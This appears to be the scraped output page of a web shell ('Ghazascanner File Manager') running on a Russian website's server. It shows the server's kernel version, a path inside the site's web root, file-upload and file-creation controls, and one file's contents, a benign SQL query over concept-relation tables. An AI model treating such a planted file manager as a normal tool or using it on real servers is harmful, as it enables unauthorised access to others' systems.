@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux www.thesweb.ru 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64
Current Path :
/
var
/
www
/
www-root
/
data
/
www
/
new.labinform.ru
/
lii_translate
/
Path :
Upload File :
New :
File
Dir
/var/www/www-root/data/www/new.labinform.ru/lii_translate/1.2
SELECT c1.conceptstr as concept1str, r1.concept1id, r1.relationid, r1.aspect, c2.conceptstr as concept2str, r1.concept2id, (SELECT r2.relationid FROM relats r2 WHERE r2.concept1id = r1.concept2id AND r2.concept2id = r1.concept1id limit 1) as relid2, (SELECT r2.aspect FROM relats r2 WHERE r2.concept1id = r1.concept2id AND r2.concept2id = r1.concept1id limit 1) as aspect2 FROM relats r1 JOIN concepts c1 ON c1.conceptid = r1.concept1id JOIN concepts c2 ON c2.conceptid = r1.concept2id WHERE r1.relationid in (10, 20, 30, 40, 50) AND not exists ( SELECT 1 FROM relats r2 WHERE r2.concept1id = r1.concept2id AND r2.concept2id = r1.concept1id AND (r2.relationid = CASE r1.relationid WHEN 10 THEN 30 WHEN 20 THEN 40 WHEN 30 THEN 10 WHEN 40 THEN 20 ELSE 50 END) AND (r2.aspect = CASE r1.aspect WHEN '1' THEN '2' WHEN '2' THEN '1' ELSE r1.aspect END) )